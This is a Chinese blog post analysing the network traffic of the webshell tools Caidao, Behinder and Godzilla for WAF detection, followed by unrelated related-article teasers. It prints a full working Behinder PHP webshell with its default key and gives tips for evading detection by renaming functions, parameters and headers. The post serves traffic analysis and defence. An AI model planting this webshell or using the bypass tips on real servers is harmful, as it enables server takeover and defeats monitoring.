WAF攻防-菜刀冰蝎哥斯拉流量通讯特征绕过检测反制感知

news2024/11/15 12:27:50

文章目录

  • 菜刀-流量&绕过&特征&检测
    • 特征
    • 绕过
    • 检测
  • ==冰蝎3-流量&绕过&特征&检测==
    • 特征
    • 通讯过程
    • 检测
    • 绕过
  • 哥斯拉-流量&绕过&特征&检测
    • 特征
  • Other

使用Proxifier进行流量转发至Burp抓包分析(使用Wireshake也可以)

菜刀-流量&绕过&特征&检测

这里演示PHP Webshell

特征

1、版本
2011
在这里插入图片描述
2014

在这里插入图片描述
PHP chr() 函数 :根据十进制代码输出ASCII字符(详见ASCII码表)
在这里插入图片描述
2016
在这里插入图片描述
尝试写入文件,抓包分析
在这里插入图片描述
数据包流量特征:
1,请求包中:ua头为百度,火狐
2,请求体中存在eavl,base64等特征字符
3,请求体中传递的payload为base64编码,并且存在固定的base64编码段

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

绕过

1.有少数时候eval方法会被assert方法替代。	#函数替换
2.$_POST也会被$_GET$_REQUEST替代。	
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。	#更改默认参数名称

检测

针对于菜刀特征的正则表达式

冰蝎3-流量&绕过&特征&检测

面试必问的,别问我怎么知道的
冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,
消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出

特征

密钥使用连接密码的md5结果的前16位 如果对方使用的默认密码rebeyond,那么密钥就是e45e329feb5d925b,那么这也算是一个特征
在这里插入图片描述
冰蝎内置UA头
在这里插入图片描述

    public static String[] userAgents = new String[]{"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"};

以及初始化请求头部(这个要根据自己反编译的冰蝎版本来看,可能自己使用的已经是别人‘魔改’后的)
在这里插入图片描述

    private void initHeaders() {
        this.currentHeaders.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");	
        this.currentHeaders.put("Accept-Encoding", "gzip, deflate, br");
        this.currentHeaders.put("Accept-Language", "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7");
        if (this.currentType.equals("php")) {
            this.currentHeaders.put("Content-type", "application/x-www-form-urlencoded");
        } else if (this.currentType.equals("aspx")) {
            this.currentHeaders.put("Content-Type", "application/octet-stream");
        } else if (this.currentType.equals("jsp")) {
            this.currentHeaders.put("Content-Type", "application/octet-stream");
        }

        this.currentHeaders.put("User-Agent", this.getCurrentUserAgent());	
        if (((String)this.currentHeaders.get("User-Agent")).toLowerCase().indexOf("firefox") >= 0) {
            this.currentHeaders.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
            this.currentHeaders.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
        }

        this.currentHeaders.put("Referer", this.getReferer());
    }
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b";		#连接密码(rebeyond)32位md5前16位
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

连接webshell后抓包解密(偏移量和密钥都是可以二次修改的,所以增加了检测的难度)
在这里插入图片描述

通讯过程

以代码Key为密匙的AES加密解密过程
在这里插入图片描述

检测

User-agent:代码中定义
Pragma: no-cache
Content-Type:application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

绕过

二次魔改,修改默认header设置

哥斯拉-流量&绕过&特征&检测

特征

在这里插入图片描述
网上有哥斯拉解密异或的脚本……

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44;  cookie最后面存在一个";"

在这里插入图片描述

Other

正则匹配 简单 容易被绕过 (加密 编码 分段)
机器语言
行为分析

入侵检测 IDS HIDS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/416657.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java阶段一Day21

Java阶段一Day21 文章目录Java阶段一Day21多线程并发原理使用场景创建并启动线程创建线程的方法进程线程的生命周期获取线程信息的方法教师总结新单词多线程概念线程:一个顺序的单一的程序执行流程就是一个线程。代码一句一句的有先后顺序的执行。多线程:多个单一顺序执行的流程…

最新!AI第一次有了国家标准,北大、华为、百度等单位共同编制

最近&#xff0c;国家标准全文公开系统网站正式发布了国家标准《神经网络表示与模型压缩 第一部分&#xff1a;卷积神经网络》&#xff08;GB/T 42382.1-2023&#xff09;&#xff0c;此标准由北京大学、鹏城实验室、华为、百度等16家单位共同编制。 &#xff08;来源&#xff…

考试前临时抱佛脚有用吗?这篇复习攻略会告诉你答案

夏天来了&#xff0c;大家的期末考试也将不远了。不知平时大家是如何准备考试的&#xff0c;是平时学习计划有序进行复习&#xff0c;还是考试前临时抱佛脚呢&#xff1f;今天就来跟大家讲一讲&#xff0c;学习中很重要的一个环节&#xff0c;如何复习。所以敲黑板&#xff0c;…

基于 AT89C51 单片机的数字时钟设计

目录 1.设计目的、作用 2.设计要求 3.设计的具体实现 3.1 设计原理 3.2 硬件系统设计 3.2.1 AT89C51 单片机原理 3.2.2 晶振电路设计 3.2.3 复位电路设计 3.2.4 LED 数码管显示 3.3 系统实现 3.3.1 系统仿真与调试 3.3.2 演示结果 4.总结 附录 附录 1 附录 2 1.…

【JVM】常量池

常量池&#xff08;Runtime Constant Poo&#xff09; 常量池Java中可以分为三种&#xff1a;字符串常量池&#xff08;堆&#xff09;、Class文件常量池、运行时常量池&#xff08;堆&#xff09;。 1.字符串常量池&#xff08;String Pool&#xff09; 为了提升性能和减少…

C++变量限定

C的变量限定指可以在变量类型的基础上加上特殊的限定条件&#xff0c;主要包括&#xff1a;是不是const&#xff0c;是不是volatile&#xff0c;是左值还是右值&#xff0c;是不是引用&#xff0c;是左值引用还是右值引用&#xff0c;等等。 1. 为什么要研究这个东西 主要是c…

练习之烦人的递归

文章目录1.删除公共字符2.读入一串以?结束的字符串&#xff0c;逆序输出。法一&#xff1a;常规递归法二&#xff1a;投机取巧3.递归将整数输出为字符串4.递归输出1--n的平方和5.递归计算222222...6.递归求最大公约数7.递归输出x的n次方8. 递归计算下列式子的值1.删除公共字符…

从FPGA说起的深度学习(六)-任务并行性

这是新的系列教程&#xff0c;在本教程中&#xff0c;我们将介绍使用 FPGA 实现深度学习的技术&#xff0c;深度学习是近年来人工智能领域的热门话题。在本教程中&#xff0c;旨在加深对深度学习和 FPGA 的理解。用 C/C 编写深度学习推理代码高级综合 (HLS) 将 C/C 代码转换为硬…

还在回想Midjourney的参数,Claude来帮你

本来是想整理一份Midjourne使用的参数表&#xff0c;看来是不用了&#xff0c;Claude很方便的就能帮到我们。 问下Claude: 你知道 Midjourne 的参数吗 Claude 回答如下&#xff1a; 是回答出来了&#xff0c;但是并不是非常的好&#xff0c;我们继续引导他一下&#xff1a; 你…

堆的实际应用(topk问题以及堆排序)

目录 前言&#xff1a; 一:解决topk问题 二:堆排序 【1】第一种方法(很少用) 【2】第二种方法(很实用) 前言&#xff1a; 上一次我们进行了二叉树的初步介绍并实现了堆的基本功能&#xff0c;但堆的作用并不是存储数据&#xff0c;它可以用来解决topk问题(求一组数据较大或…

【C语言】9000字长文操作符详解

简单不先于复杂&#xff0c;而是在复杂之后。 目录 1. 操作符分类 2. 算数操作符 3. 移位操作符 3.1 左移操作符 3.2 右移操作符 4. 位操作符 4.1 按位与 & 4.2 按位或 | 4.3 按位异或 ^ 4.4 一道变态的面试题 4.5 练习 5. 赋值操作符 5.1 复合赋值…

主流接口测试框架对比,究竟哪个更好用

公司计划系统的开展接口自动化测试&#xff0c;需要我这边调研一下主流的接口测试框架给后端测试&#xff08;主要测试接口&#xff09;的同事介绍一下每个框架的特定和使用方式。后端同事根据他们接口的特点提出一下需求&#xff0c;看哪个框架更适合我们。 需求 1、接口编写…

项目工作分解工具WBS

WBS工作分解结构&#xff08;Work Breakdown Structure&#xff09;&#xff0c;是一个描述思路的规划和设计工具&#xff0c;它可以清晰地表示各项目之间相互联系的结构&#xff0c;详细说明为完成项目所必须完成的各项工作&#xff0c;也可以向高层管理者和客户报告项目完成的…

【Redis】高可用架构之Cluster集群和分⽚

高可用架构之Cluster集群和分⽚1. 前言2. Cluster 模式介绍2.1 什么是Cluster模式&#xff1f;2.2 为什么需要Cluster模式&#xff1f;2.2.1 垂直拓展&#xff08;scale up&#xff09;和水平拓展&#xff08;scale out&#xff09;2.2.2 Redis Cluster 提供的好处2.2.3 Redis …

学术期刊《广西物理》简介及投稿要求

学术期刊《广西物理》简介及投稿要求 《广西物理》&#xff08;季刊&#xff09;创刊于1980年&#xff0c;是由广西师范大学&#xff1b;广西物理学会主办的物理杂志。本刊报道与物理有关的基础研究、应用研究以及与此有关的交叉学科研究领域的最新重要研究成果和发展趋势&…

编码与加密基础笔记

文章目录&#x1f449;1、ASCII 编码&#x1f449;2、了解Base64&#x1f449;3、MD5消息摘要算法&#x1f449;4、对称加密与 AES&#x1f449;5、非对称加密与 RSA参考书籍《Python 3 反爬虫原理与绕过实战》&#x1f449;1、ASCII 编码 ASCII编码实际上约定了字符串和二进制…

Python中使用matplotlib时显示中文乱码_(或更改字体)

一、问题描述 在使用matplotlib绘制可视化图表时&#xff0c;图表的中文显示乱码&#xff0c;只能正常显示英文内容&#xff0c;如下图所示&#xff1a; 二、问题分析 一般显示乱码是由于编码问题导致的&#xff0c;而matplotlib 默认使用ASCII 编码&#xff0c;但是当使用pypl…

全语言通用的ASCIL表讲解,这一篇就够了

目录 ASCII码诞生背景 ASCII码特性 可显示字符 大佬们可以看这个 小白们看这个更详细 对控制字符的解释 ASCII码诞生背景 在计算机中&#xff0c;所有的数据在存储和运算时都要使用二进制表示。例如&#xff0c;像a、b、c、d这样的52个字母&#xff08;包括大写&#xf…

Winnolin 绘制药时曲线图C-T

文章目录前言一、各受试者C-T图1.导入数据2.设置-运行2.查看结果&#xff0c;修改参数二、各制剂C-T图1.导入数据2.设置-运行2.查看结果&#xff0c;修改参数三、平均C-T图1.计算统计量2.设置统计量计算参数&#xff08;Set Up&#xff09;3.绘图XY Plot4.查看结果&#xff0c;…

Java多线程基础面试总结(三)

线程的生命周期和状态 Java 线程在运行的生命周期中的指定时刻只可能处于下面 6 种不同状态的其中一个状态&#xff1a; NEW&#xff1a;初始状态&#xff0c;线程被创建出来&#xff0c;但是还没有调用start()方法。RUNABLE&#xff1a;运行中状态&#xff0c;调用了start()…